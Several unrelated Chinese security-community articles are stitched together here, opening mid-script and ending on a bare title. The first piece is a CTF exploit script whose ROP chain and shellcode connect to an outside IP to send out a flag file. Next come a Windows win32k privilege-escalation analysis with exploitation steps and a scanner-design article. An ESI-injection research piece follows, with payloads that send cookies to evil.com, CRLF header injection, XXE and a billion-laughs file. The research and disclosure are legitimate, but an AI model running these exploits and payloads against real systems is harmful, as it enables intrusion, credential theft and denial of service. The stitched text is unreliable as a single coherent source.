p.recvuntil('give me index: \n')
p.sendline(str(idx))
def edit_query(p, idx, payload):
p.recvuntil('Select:\n')
p.sendline('4')
p.recvuntil('give me index: \n')
p.sendline(str(idx))
p.send(payload)
def pwn(p):
bss_addr = 0x602300
#gdb.attach(p)
payload = 'test\n'
add_query(p, 0x100, payload)
query(p, 0)
payload = '\x0510\x00aaaa'
payload += asm(shellcraft.amd64.linux.connect('39.108.116.36', 12345))
payload += asm(shellcraft.amd64.linux.readfile('flag', 0))
payload = payload.ljust(0x190, 'a')
payload += p64(0) + p64(0)*2
payload += flat([0x4012AA, 0, 1, 0x601FE0, 8, 0x601FA8, bss_addr, 0x401290]) # memcpy
payload += flat([0, 0, 1, 0x601FE0, 1, 0x602060, bss_addr, 0x401290]) # memcpy
payload += flat([0, 0, 1, 0x601FF0, 0, 0, 0x602061, 0x401290]) # atoi
payload += flat([0, 0, 1, bss_addr, 7, 0x1000, 0x602000, 0x401290]) # mprotect
payload += flat([0, 0, 0, 0, 0, 0, 0, 0x602068])
edit_query(p, 0, payload + '\n')
p.interactive()
if __name__ == '__main__':
#p = process('./dns_of_melody')
p = remote('210.32.4.15', 13374)
pwn(p) | 社区文章 |
本文作者：[G1ace@四叶草安全实验室](http://lab.seclover.com/cve-2016-3308-zdi-16-453-microsoft-windows内核提权漏洞原理分析与利用/)
### 1、漏洞简介
漏洞公告相关链接：
[ZDI-16-453](http://www.zerodayinitiative.com/advisories/ZDI-16-453/)
[CVE-2016-3308](https://technet.microsoft.com/library/security/MS16-098)
[CloverSec
Labs](http://lab.seclover.com/)成员[bear13oy](https://twitter.com/bear13oy)在七月中旬也发现该内核漏洞，由于当时比较忙，本想在八月微软的补丁周过后再对其进行分析和利用，不巧的是微软八月份的补丁修复了该漏洞。再次撞洞！
附上当时精简后的poc代码截图：
内核崩溃后栈回溯信息截图：
### 2、漏洞原理
由于函数win32k!xxxInsertMenuItem在处理新增菜单插入时，获得了错误的插入偏移，导致函数在计算MenuItem内核数据长度时发生错误，进而在调用memmove移动MenuItem数据时，发生越界操作。
win32k!xxxInsertMenuItem函数在调用memmove移动MenuItem内核数据前，两次调用函数win32k!MNLookUpItem来获取相关Item数据的内存地址。在此漏洞中，第一次调用win32k!MNLookUpItem时，由于传入的wIndex不存在，函数会返回NULL，于是win32k!xxxInsertMenuItem会默认把新Item数据放到原Item数组的末尾，并把wIndex更新为新Item数据在原Item数组中的偏移。相关代码如下所示：
if (w == MFMWFP_NOITEM)
w = pMenu->cItems;
w--;
pItemWalk = pMenu->rgItems + w;
#ifdef MEMPHIS_MENUS
while (w && (pItemWalk->hbmp) && (pItemWalk->hbmp < (HBITMAP)MENUHBM_MAX))
#else // MEMPHIS_MENUS
while (w && (pItemWalk->fType & MFT_BITMAP) && (pItemWalk->hTypeData < (HANDLE)MENUHBM_MAX))
#endif // MEMPHIS_MENUS
{
wIndex = w--;
pItemWalk--;
}
在调用AppendMenuA函数后，Menu中的Item数据刚好达到了8个，而由下面的代码可以看出，内核中Item数据的分配刚好是以8个Item为分配粒度的。于是如下代码中的pMenu->cItems
>=
pMenu->cAlloced的条件正好成立，于是win32k!MNLookUpItem会被再次调用，在新分配的Item数据中通过wIndex偏移找到需要插入的内存地址并保存在pItem中。
#define CMENUITEMALLOC 8
...
...
if (pMenu->cItems >= pMenu->cAlloced) {
if (pMenu->rgItems) {
pNewItems = (PITEM)DesktopAlloc(pMenu->head.rpdesk->hheapDesktop,
(pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM));
...
} else {
pNewItems = (PITEM)DesktopAlloc(pMenu->head.rpdesk->hheapDesktop,
sizeof(ITEM) * CMENUITEMALLOC);
}
...
pMenu->cAlloced += CMENUITEMALLOC;
pMenu->rgItems = pNewItems;
...
/*
* Now look up the item again since it probably moved when we realloced the
* memory.
*/
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);
}
然而win32k!MNLookUpItem函数会在所有的Item以及子菜单的Item中递归寻找，由于之前已经有7个Item数据存在，在调用InsertMenuA函数后wIndex被改写为7，而此时由于notepad的第一个File的子菜单中的最后一个Item(Exit)的id正好是7，于是win32k!MNLookUpItem函数遍会把此Item的内核地址返回。之后在计算memmove移动长度时便会出现不可预料的情况，并在移动数据时发生访问异常。
memmove(pItem + 1, pItem, (pMenu->cItems - 1) *
sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
typedef struct tagITEM
{
UINT fType;
UINT fState;
UINT wID;
struct tagMENU* spSubMenu; /* Pop-up menu. */
HANDLE hbmpChecked;
HANDLE hbmpUnchecked;
USHORT* lpstr; /* Item text pointer. */
ULONG cch;
DWORD_PTR dwItemData;
ULONG xItem; /* Item position. left */
ULONG yItem; /* " top */
ULONG cxItem; /* Item Size Width */
ULONG cyItem; /* " Height */
ULONG dxTab; /* X position of text after Tab */
ULONG ulX; /* underline.. start position */
ULONG ulWidth; /* underline.. width */
HBITMAP hbmp; /* bitmap */
INT cxBmp; /* Width Maximum size of the bitmap items in MIIM_BITMAP state */
INT cyBmp; /* Height " */
} ITEM, *PITEM;
从上面代码可以看出，win32k!xxxInsertMenuItem中触发漏洞的memmove所用到的pItem地址正好是之前win32k!MNLookUpItem函数返回的内存地址。结合内存数据和PITEM数据结构可以看出，此时的pItem地址所指向的是notepad中File的子菜单中的最后一个Item(Exit)（数据结构如上图红色所示），而pMenu->rgItems为DesktopAlloc新分配的内存地址指针，这两个地址分别属于不同的Item数组中，所以相减的值是不可预料的，精确操作内核堆分配可控制memmove长度，从而控制特定的内存区域。
### 3、漏洞利用
漏洞利用主要用到两个数据结构如下：
typedef struct tagPROPLIST {
UINT cEntries;
UINT iFirstFree;
tagPROP aprop[1];
} PROPLIST, *PPROPLIST;
typedef struct tagMENU
{
...
UINT cItems; /* Number of items in the menu \*/
...
PITEM rgItems; /* Array of menu items \*/
...
} MENU, *PMENU;
通过构造数据覆盖tagPROPLIST中的cEntries和iFirstFree便可以实现对tagPROPLIST结构之后的一段数据进行控制。
漏洞触发过程中tagPROPLIST在内存中的变化:
漏洞触发前
fce2f240 00000002 00000002 fb10afe0 0001c033 tagPROPLIST
fce2f250 00000000 0002c04a 00010002 08000004
fce2f260 00410041 00000041 00010002 08000002
fce2f270 00410041 00000041 00010002 08000002
fce2f280 00410041 00000041 00010002 08000002
fce2f290 00410041 00000041 00010002 08000002
fce2f2a0 00410041 00000041 00010002 08000002
fce2f2b0 00410041 00000041 00010002 08000002
漏洞触发后
fce2f240 08000002 88888888 88888888 88888888 tagPROPLIST
fce2f250 88888888 88888888 88888888 88888888
fce2f260 88888888 88888888 88888888 88888888
fce2f270 88888888 88888888 88888888 88888888
fce2f280 88888888 88888888 88888888 88888888
fce2f290 88888888 88888888 88888888 88888888
fce2f2a0 00008888 00010004 0800000d 00000002
fce2f2b0 00000002 fb10afe0 0001c033 00000000
漏洞利用过程大概可以分为如下步骤：
1. 构造数据覆盖tagPROPLIST中的cEntries和iFirstFree
2. 通过SetProp函数对tagPROPLIST对分布在其后的tagMENU结构中的cItems和rgItems字段进行控制
3. 通过SetMenuItemInfo实现对任意地址的写操作
4. 改写内核HalDispatchTable+4的数据实现EIP控制
### 4、漏洞演示
测试环境： Windows 7 SP1 x86 （更新于2016-07-16）
来源链接：[CVE-2016-3308 / ZDI-16-453 Microsoft
Windows内核提权漏洞原理分析与利用](http://lab.seclover.com/cve-2016-3308-zdi-16-453-microsoft-windows内核提权漏洞原理分析与利用/)
* * * | 社区文章 |
**作者：fate0
来源：[小米安全中心](https://mp.weixin.qq.com/s?__biz=MzI2NzI2OTExNA==&mid=2247485901&idx=1&sn=72be486eef0bd2f8cefc1d0a5b6f4e8d&chksm=ea802f58ddf7a64e011c6eba8216c1b4b12c51d9b31c29b91dbbf42e536e7f234f792ba740ae&mpshare=1&scene=1&srcid=0820ptQQlePvaP0azQa6fFFQ&sharer_sharetime=1566292995934&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=6e19136856231602803520cd0275c6ba0d7b158b62518972ab3f6f3b642c4f163a30f1df62e44f961f08282e8253972c11f2cf50d8df73b22de3c1626289b17e07858d0458f8bfa19a52334bb4ca0259&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=3pfR1NXZ5aVd7MysCM3F1tDkQ1%2FjkIektpYaFX8ZdSulYBbcf7S0xx2siCcsJwCv
"小米安全中心")**
**相关阅读：
[《爬虫基础篇[Web 漏洞扫描器]》](https://paper.seebug.org/537/ "《爬虫基础篇\[Web 漏洞扫描器\]》")
[《爬虫 JavaScript 篇[Web 漏洞扫描器]》](https://paper.seebug.org/570/ "《爬虫 JavaScript
篇\[Web 漏洞扫描器\]》")
[《爬虫调度篇[Web 漏洞扫描器]》](https://paper.seebug.org/730/ "《爬虫调度篇\[Web 漏洞扫描器\]》")**
### 0x00 前言
之前我们简单介绍了一下[扫描器中爬虫](https://mp.weixin.qq.com/s?__biz=MzI2NzI2OTExNA==&mid=2247485012&idx=1&sn=17e2225f85b3e850c34d7a80ccc15086&chksm=ea8020c1ddf7a9d79b148e3c8a084eb7330677d9d1ddedfc580f41d3943a0f08fbf92da42d32&token=1312242520&lang=zh_CN&scene=21#wechat_redirect)的部分，接下来将继续介绍扫描器中一些我们认为比较有趣的技巧。
### 0x01 编码/解码/协议
在很久以前有人提问 AMF 格式的请求怎么进行检测，或者有什么工具可以检测。
既然我们要讲解的是 Web 漏洞扫描器，那么就先假设是 AMF over HTTP (这里并不需要你了解 AMF，你只需要知道 AMF
是一种数据格式类型就行)。
假设我们需要测试一个 AMF 格式数据的 SQL 注入问题，那么按照通常的思路就是在 SQL 注入模块中：
1.先解析 HTTP 中 AMF 格式数据
2.然后在测试参数中填写 payload
3.重新封装 AMF 格式数据
4.发送 HTTP 请求
伪代码如下：
1req = {"method": "POST", "url": "http://fatezero.org", "body": "encoded data"}
2data = decode_amf(req["body"])
3for key, value in data.items():
4 d = copy.deepcopy(data)
5 d[key] = generate_payload(value)
6 body = encode_amf(d)
7 requests.request(method=req["method"], url=req["url"], body=body)
整个流程下来没什么问题，但是如果又来了一个 X 协议(X over HTTP)，那么我们就得继续修改 SQL 注入模块以便支持这种 X
协议，但是扫描器中可不是只有 SQL 注入检测模块，还有其他同类模块，难道每加一个新协议我还得把所有检测模块都改一遍？
所以我们需要把这些协议解析和封装单独抽出来放在一个模块中。
伪代码如下：
1# utils.py
2def decode(data):
3 if is_amf(data):
4 data = decode_amf(data)
5
6 if is_X(data):
7 data = decode_X(data)
8
9 # 递归 decode
10 for i in data:
11 data[i] = decode(data[i])
12
13 return data
14
15
16# detect_module.py
17req = {"method": "POST", "url": "http://fatezero.org", "body": "encoded data"}
18data = decode(req["body"])
19for key, value in data.items():
20 d = copy.deepcopy(data)
21 d[key] = generate_payload(value)
22 body = encode(d)
23 requests.request(method=req["method"], url=req["url"], body=body)
上面的递归 decode 主要是为了解码某种格式的数据里面还有另外一种格式的数据，虽然看起来这种场景比较少见，但是仔细想一下 multipart 带着
json，json 里的字符串是另外一个 json 字符串，是不是又觉得这种情况也并不少见。
那 encode/decode 剥离出来就可以了吗？请注意到上面伪代码使用了 requests. request 发送请求，那如果某天需要我们去测试
websocket 协议，是不是又得在检测模块中多加一套 websocket client 发送请求？
所以我们也需要将具体的网络操作给剥离出来，具体的协议类型直接由上面来处理，检测模块只需要关注具体填写的 payload。
伪代码如下：
1for key, value in x.items():
2 data.reset()
3 x[key] = generate_payload(value)
4 x.do() # 负责将数据重新组装成原来的格式，并按照原始协议发送
5
6 # check
因为每个检测模块的检测依据大致就几种：
* 返回内容
* 消耗时间 (time based)
* 另外一条信道的数据 (比方说 dnslog)
所以即便是我们将网络操作剥离出来也不会影响检测的效果。
在编写检测模块的时候，编写者可以不用关心基础协议是什么，怎么对数据编码解码，只用关心根据 value 生成 payload 并填写到相对应的 key 中。
假如某天出现了这么一种流行编码格式 http://www.a.com/key1,
value1,key2,value2，那我们所有的检测模块也无需修改，仅仅需要在上一层再添加一套 encode/decode
操作即可。假如某天出现了一种比较流行的协议，我们也仅需要在上一层提供一套 client 即可。检测模块的工作就仅仅剩下生成并填写 payload。
### 0x02 PoC 分类
在 2014 年的时候，我做了大量的竞品分析，包括使用逆向工程逆向商业的 Acunetix WVS, HP Webinspect, IBM AppScan,
Netsparker 扫描逻辑，也包括阅读开源的 w3af, arachni 代码。
如果不谈扫描质量，只关注整体项目设计以及产品中使用到的猥琐技巧，那么其中最让我眼前一亮的当属 AWVS，接下来我将详细介绍一下我从 AWVS 中学习到的
PoC 分类。
PoC 分类：
类型 | 描述
---|---
PerServer | 用于检测 Web Server 级别中存在的漏洞，比方说各种中间件，Web 框架的漏洞
PerFile | 用于检测某个文件中是否存在漏洞，比如对应文件的备份，Bash RCE 等
PerFolder | 用于检测某个目录中是否存在漏洞，比如敏感信息的泄漏，路径中的 SQL 注入等
PerScheme | 用于检测某个参数中是否存在漏洞，比如 SQL 注入，XSS 等
PostCrawl | 在爬虫结束之后启动，直接使用爬虫的资源进行检测
PostScan | 在扫描结束之后启动，用于检测二阶注入，存储 XSS等
WebApps | 用于检测比较常用的 Web 应用的漏洞
大致的流程图如下：
在获取到爬虫资产，对相关资产格式化之后，便下发到各个不同类型的 PoC
中进行检测，这样做的好处是分类明确，覆盖大多数检测阶段，也避免为了减少重复请求的下发而需要额外记录中间状态的行为。
### 0x03 IAST
AWVS 有个比较有趣的功能 AcuMonitor ，也就大家熟知的 dnslog、反连平台。在 2014 年看到 AWVS 的这个功能时，就建议
WooYun 出个类似的功能，也就是 cloudeye，tangscan 也就算是国内比较早使用这种技术的扫描器，当然后续又出现了各种类似 cloudeye
的项目，自然而然也出现了各种使用该技术的扫描器。
不过今天我们不打算继续介绍 AcuMonitor，而是介绍另外一个也很有趣的功能 AcuSensor 。AcuSensor 就是IAST，只要稍微了解过
Web 漏洞扫描器的，都应该会知道 IAST 是干啥的。那为什么我要单独拎出来讲这个呢？
主要是因为 AcuSensor 的实现方式非常有趣。AcuSensor 提供了 Java、 .NET、PHP 这三个语言版本，其中比较有趣的是 PHP
版本的实现。
PHP版本的AcuSensor使用方法是下载一个acu_phpaspect.php文件，再通过 auto_prepend_file 加载这个文件，
众所周知，PHP 是不能改直接 hook PHP 内置函数的，那么单单依靠一个 PHP 脚本，AcuSensor是如何做到类似 IAST 功能的呢？
很简单，直接替换所有关键函数。嗯，真的就那么简单。
我们来详细介绍一下这个过程，在 acu_phpaspect.php 中：
1.获取用户实际请求的文件内容
2.检查一下有没有相关 cache，如果有 cache 那么直接加载执行 cache，然后结束
3.使用 `token_get_all`获取所有 token遍历每一个 token，对自己感兴趣的函数或者语句使用自己定义的函数进行 wrap 并替换
4.将替换后的内容保存到 cache 中并使用 eval 执行
5.`__halt_compiler`中断编译
举个具体的例子：
1<?php
2
3$link = NULL;
4$sql = "select * from user where user_id=".$_GET["id"];
5
6mysqli_prepare($link, $sql);
经过 acu_phpaspect.php 转换之后：
1<?php
2
3$link = NULL;
4$sql = "select * from user where user_id=".$_GET[_AAS91("hello.php", 4, "\$_GET", "id")];
5
6_AAS86("hello.php",6,"mysqli_prepare",Array($link, $sql));
整个过程简单粗暴有效，这样做的优点在于：
* 实现简单，只需要编写 PHP 即可
* 安装简单，无需安装扩展，只需修改配置文件可以
* 兼容性强，比较容易兼容性各种环境，各种版本 PHP
如果有意向去做 IAST 或者想做类似我的 prvd <http://github. com/fate0/prvd>项目，但又不太喜欢写 PHP
扩展，那么我强烈建议你完整的看一遍 PHP 版本 `AcuSensor` 的实现。如果对自己实现的检测逻辑效率比较自信的话，甚至可以基于这个原理直接实现一个
PHP 版本的 RASP 项目。
### 0x04 限速
在 Web
漏洞扫描器中，无论作为乙方的商业产品、甲方的自研产品，限速都是一个至关重要的功能，甚至可以说如果你的扫描器没有限速功能，那压根就不能上线使用。接下来我们将介绍一下在扫描器中限速的几种方法。
#### 1.代理
使用代理做限速功能，将所有执行扫描任务的 worker 的测试流量全转发proxy 服务器上：
由 proxy 服务器统一调度发送测试请求频率，直接使用 proxy 方案优点是可以兼容之前没做限速功能的扫描器，缺点是所有基于 time based
的检测均无效(当然也可以让 proxy 返回真正的响应时间来进行判断，不过仍需要修改检测模块)，也不允许在检测模块中加入超时设置。
#### 2.双重队列
另外一种方法是使用双重队列实现限速功能，流程图如下：
1.worker1 从队列中取到名为 target1 的任务
2.worker1 从 target1 队列中取出和 target1 相关的任务
3.默认单并发执行和 target1 相关任务，根据设置的 QPS 限制，主动 sleep 或者增加并发
这种方案的缺点是扫描器设计之初的时候就得使用这种方法，优点是每个并发可以稳定的和远程服务器保持链接，也不影响扫描功能。
### 0x05 漏洞检测
实际上这一节并不会讲具体某个漏洞检测方法，只是简单谈一下漏扫模块每个阶段该干的事情。
项目之初，没有相关积累，那么可以选择看一下 AWVS 的检测代码，虽然说网上公开的是 10.5 的插件代码，但其实从 8.0 到 11 的插件代码和
10.5 的也差不多，无非新增检测模块，修复误漏报的情况，也可以多看看 SQLMap
代码，看看检测逻辑，但是千万不要学习它的代码风格。从这些代码中可以学习到非常多的小技巧，比如动态页面检测，识别 404
页面等。看代码很容易理解相关的逻辑，但我们需要去理解为什么代码这样处理，历史背景是什么，所以多用 git blame。
到了中期，需要提升漏洞检测的精准度，漏洞检测的精准度是建立在各种 bad case 上，误报的 case 比较容易收集和解决，漏报的 case
就需要其他资源来配合。作为甲方如果有漏洞收集平台，那么可以结合白帽子以及自己部门渗透团队提交的漏洞去优化漏报情况。
如果扫描器是自己的一个开源项目的话，那么就必须适当的推广自己的项目，让更多的人去使用、反馈，然后才能继续完善项目，从而继续推广自己的项目，这是一个循环的过程。总而言之，提升漏洞检测的精准度需要两个条件：1.
bad case，2. 维护精力
到了后期，各种常规的漏洞检测模块已经实现完成，也有精力持续提升检测精准度，日常漏洞 PoC 也有人员进行补充。
那么事情就结束了么？
不，依旧有很多事情我们可以去做，扫描器的主要目标是在不影响业务的情况下，不择手段的发现漏洞，所以除了常规的资产收集方式之外，我们还可以从公司内部各处获取资产相关的数据，比方说从
HIDS 中获取所有的端口数据、系统数据，从流量中或业务方日志中获取 url 相关数据等。
当然除了完善资产收集这块，还有辅助提升检测效果的事情，比如说上面提到的 `AcuSensor`，这部分事情可以结合公司内部的 RASP
做到同样效果，还有分析 access log、数据库 log 等事情。总的来说，做漏扫没有什么条条框框限制，只要能发现漏洞就行。
以上都是和技术相关的事情，做漏扫需要处理的事情也不仅仅只有技术，还需要去搞定详细可操作的漏洞描述及其解决方案，汇报可量化的指标数据，最重要的是拥有有理有据、令人信服的甩锅技巧。
### 0x06 总结
以上即是我认为在扫描器中比较有用且能够公开的小技巧，希望能够对你有所帮助。 另外如果你对 **漏洞扫描** 或者 **IoT 自动化安全产品**
感兴趣，并愿意加入我们，欢迎简历投递 **[email protected]** 。
* * * | 社区文章 |
文章来源：<https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection>
让我们接着[上部分](https://xz.aliyun.com/t/5159)，继续研究ESI注入。
## 应用场景
正如我在前面提到的那样，ESI的实际使用取决于应用提供商。不同的应用会使用不同的功能，甚至某些相同的功能的实现方式也存在差异。为了帮助大家识别攻击启用ESI功能的应用，我们对一些产品进行测试后制作了以下表格：
表中列名含义：
**Includes** ：ESI引擎是否支持`<esi:includes>`操作。
**Vars** ：ESI引擎是否支持`<esi:vars>`操作。
**Cookie** ：ESI引擎是否可以访问Cookie。
**Upstream Headers Required** ：上层服务器是否需要提供有效的Header。当标头为上游服务器时，才会执行ESI语句。
**Host Whitelist** ：ESI Includes中引用的主机名是否属于白名单服务器列表。如果开启了白名单策略，攻击者利用ESI
Include只能攻击白名单内的主机。
下面我将具体介绍ESI的应用场景以及不同应用间的差异。
### Squid3
[Squid](http://www.squid-cache.org/)（一款高性能代理缓存服务器）没有公开其ESI文档，因此我们必须深入源代码分析ESI的使用情况。测试ESI
Payload时，我们在最新的Squid上发现了与ESI语句解析有关的两个拒绝服务漏洞。这两个Bug都是NULL指针解除引用造成的，可导致Squid服务器崩溃。两个漏洞分别被分配为：[CVE-2018-1000024](https://access.redhat.com/security/cve/cve-2018-1000024)
和 [CVE-2018-1000027](https://access.redhat.com/security/cve/cve-2018-1000027)
。下面是两个Bug的漏洞咨询，其中详细给出了受影响的Squid版本：
* <http://www.squid-cache.org/Advisories/SQUID-2018_1.txt>
* <http://www.squid-cache.org/Advisories/SQUID-2018_2.txt>
披露时间线：
* 2017年12月13日上报
* 2017年12月14日确认Bug
* 2018年1月18日修复完毕
* 2018年1月21日公布漏洞咨询
这里有用于盗取Cookie的有效载荷：
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>.
某些启用ESI的应用允许攻击者提取出指定名称的Cookie值；但Squid不支持，你必须一次性提取出所有Cookie。
### Varnish Cache
[Varnish Cache](https://varnish-cache.org/)在ESI的安全方面做得非常好。从Varnish
Cache的ESI说明文档中可以看出它只能执行来自上游服务器且符合VCL（Varnish Configuration
Language）规范的ESI语句。因此攻击者不能通过SSRF来攻击任意主机。任何SSRF攻击都会被重定向回上游服务器，这解决了一般SSRF攻击造成的大部分问题。截止至本文发布，Varnish
Cache仍然不支持ESI vars。ESI vars和cookie的[文档](https://varnish-cache.org/docs/3.0/tutorial/esi.html#example-esi-remove-and-esi)解释仍处于撰写阶段。
Varnish处理ESI时有个非常有趣的特性，只有HTTP响应Body部分的第一个非零字符为`<`，才会发生解析。该检查可以避免ESI引擎处理类似XML内容的响应。如果没有这个检查机制，那引擎为了解析ESI标签将不得不处理每个请求，甚至包括类似图片这样的二进制数据。如果需要在JSON或CSS中使用ESI
include，开发者也可以关闭该性能机制。但建议论坛和指南网站关闭该机制，以保证JSON
blobs可以正常工作。当开启`ESI_DISABLE_XML_CHECK`时，所有ESI标签都会受到检查。攻击者可以将ESI标签嵌入到其他良性事件中，例如JSON
API或图像响应，然后代理服务器解析这些二进制中的ESI标签。下面演示了如何利用嵌入ESI有效载荷的"图像"进行攻击：
当关闭`ESI_DISABLE_XML_CHECK`时，用户可以利用文件上传功能（例如主页图像功能），上传嵌入ESI标签的文件。这也会导致ESI注入。
在测试Varnish Cahe的ESI应用时，我们还发现ESI include不会转义`src`属性中的回车符和换行符（CRLF注入）。攻击者可以在ESI
include中注入一些标头，导致形式各异的HTTP Response Splitting（HRS）漏洞。例如，攻击者通过下面这个ESI
payload，注入额外两个HTTP标头（`X-Forwarded=For`和`JunkHeader`）来造成SSRF：
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
发送携带payload请求，得到以下响应：
GET / HTTP/1.1
User-Agent: curl/7.57.0
Accept: */*
Host: anything.com
X-Forwarded-For: 127.0.0.1
JunkHeader: JunkValue
X-Forwarded-For: 209.44.103.130
X-Varnish: 120
披露时间线：
* 2018年1月25日上报
* 2018年1月26日确认存在漏洞
* 2018年2月13日修复
### Fastly
[Fastly](https://www.fastly.com/)服务器后端与Varnish高度相似，所以上面一节的内容也适用于Fastly。但有些不同，Fastly
ESI无需制定代理服务器的标头就可以解析ESI include，此外Fastly似乎不受CRLF注入影响。
### Akamai ESI Test Server（ETS）
[Akamai](https://www.akamai.com/us/en/support/esi.jsp)在规范ESI准则方面扮演着非常重要的角色（即是作者又是编辑者）。从Akamai大量使用ESI功能以及长且详细的ESI[说明文档](\[extremely
detailed documentation they
offer\]\(https://www.akamai.com/cn/zh/multimedia/documents/technical-publication/akamai-esi-developers-guide-technical-publication.pdf)也可以窥知一二。我们想要测试Akamai
ESI的实际使用情况，2017年我们联系了Akamai安全团队向它们提到我们正在研究ESI注入。由于Akamai需付费使用，我们询问是否可以获取生产环境下的测试服务器（production-grade test
image），以便我们进行各种ESI相关的测试，但被礼貌回绝了。我们没有真实环境下的ESI实例用来研究，所以我们联系销售团队想要获取预售试用产品，但销售团队没有回复我们。
最终我们决定对其[公开的Docker image](https://hub.docker.com/r/akamaiesi/ets-docker)进行测试。这个Docker image包含一个带有一个可自定义模块 _mod_esi.so_ 的Apache
Web服务器。该模块大小20mb，为ELF
32位可编译版的ESI应用。Akamai公开的说明文档非常详细地描述了ESI的使用情况，所以我们不用逆向分析这个模块包。这是一个测试image，因此我们发现的东西不能代表真实生存环境下的Akamai实例也存在。总结一下，我们发现了Akamai
server 默认不开启ESI，并且有众多保护措施，例如防御SSRF（白名单策略等）和几个可选的WAF。
话虽如此，但我们发现Akamai ETS(ESI Test Server) 仍易受上述几种攻击（SSRF，绕过HTTPonly以及绕过XSSFilter）。
例如，通过ESI includes盗取Cookie值，可以使用`HTTP_COOKIE`引用特定cookie名称：
<esi:include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/>
Akamai ETS包含大量有趣的功能，例如ESI
debug模块。该模块可通过`<esi:debug/>`开启，开启后HTTP响应会出现大量调试信息，例如原始文件和环境变量。
用户还可以指定`dca="xslt"`，添加基于ESI include的可扩展样式表语言转换（Extensible Stylesheet Language
Transformations，XSLT）。下面这个include语句可以使代理服务器请求XML或XSLT文件。然后XSLT文件可用于过滤XML文件。最后通过XML文件造成XML外部实体（XXE）攻击。这个bug有点鸡肋，只能用于XXE->SSRF，因为是经ESI
include执行，而它本来就可以导致SSRF。Akamai ETS底层库（Xalan）不支持解析外部DTD，攻击者也不能提取查看本地文件。
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLT文件：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
但我们可以使用XML实体，这意味着可以尝试[十几年前的亿万嘲笑攻击](https://en.wikipedia.org/wiki/Billion_laughs_attack)。它的攻击原理是通过递归引用实体，导致内存耗尽服务挂起。我在本地计算测试Akamai
ETS Docker image时，32G内存在几秒后完全耗尽服务停止。我使用的是下面这个XSLT文件：
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
### NodeJS' ESI
许多NodeJS模块在开发时就考虑到ESI，都支持ESI标签。它们主要用于中间件，伪代理功能或内联在源代码中。[NodeJS'
ESI](https://www.npmjs.com/package/esi)的ESI应用库也非常广泛，支持include，变量和cookie等。
通过下面这条ESI include命令，使用`HTTP_COOKIE`变量可以提取出所有cookie：
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>
### NodeJS' nodesi
NodeJS的这个模块允许ESI include，但不允许使用ESI变量。我们在测试[NodeJS'
nodesi](https://www.npmjs.com/package/nodesi)
ESI应用安全时，发现开发者添加了白名单机制。此外，他们在ESI模块说明文档中还专门添加了[安全方面的章节](https://www.npmjs.com/package/nodesi#security)。
## 如何检测 ESI
一些代理服务器为了方便处理ESI，通常会要求请求中设置`Surrogate-Control`HTTP
标头。该标头会提醒上游服务器："[ESI标签可能存在响应中，请做好解析准备](\[ESI tags could be present in the
response\]\(https://docs.oracle.com/cd/B14099_19/caching.1012/b14046/esi.htm#i642458)"。如果你发现了HTTP响应中有类似`Surrogate-Control: content="ESI/1.0”`的标头，那你的目标极有可能是启用了ESI的应用。
然而，大部分代理和均衡负载服务器会移除该标头。某些代理服务器甚至没有该标头。因此通过标头判断目标是否使用ESI应用不是很可靠，由于ESI应用的众多特性，不能一次性就测试出目标是否存在ESI注入。攻击者需要测试各种有效载荷观察响应，以识别存在ESI注入的端点。例如，构造ESI
include语句可以造成SSRF攻击，访问攻击者的服务器，但目标应用可能有白名单策略。
## 防御性措施
产生ESI注入的根本原因是开发者忽视了清理用户输入。代理服务器盲目解析用户输入时，有可能会造成ESI注入。无论你正在使用的是什么框架或语言，建议你参考防御XSS的方法来保护你的ESI应用。原始ESI规范中没有考虑到安全问题，因此清理用户输入的重担就落到开发人员身上了。
前面已经提到过了，主机和域名的白名单策略也可以缓解ESI注入的影响。另外一点，供应商应当明确指出启用ESI的风险，并通知用户可能存在未知的ESI注入。
## 小结
本系列文章阐述了一种新型攻击向量——ESI注入，该攻击的根源是各种代理服务器中ESI功能的滥用。我们展示了易受攻击环境和三个有效载荷：窃取Cookie，SSRF和绕过XSS
Filter。接下来我们介绍了一些使用ESI的应用，使安全社区对ESI世界的糟糕有初步了解。
我们希望这项研究可以为研究其他缓存代理的人带来一些灵感，为赏金猎人们开拓一个新的攻击维度。 | 社区文章 |
# 【技术分享】打造基于Zigbee的IoT漏洞安全试验环境
|
##### 译文声明
本文是翻译文章，文章来源：attify
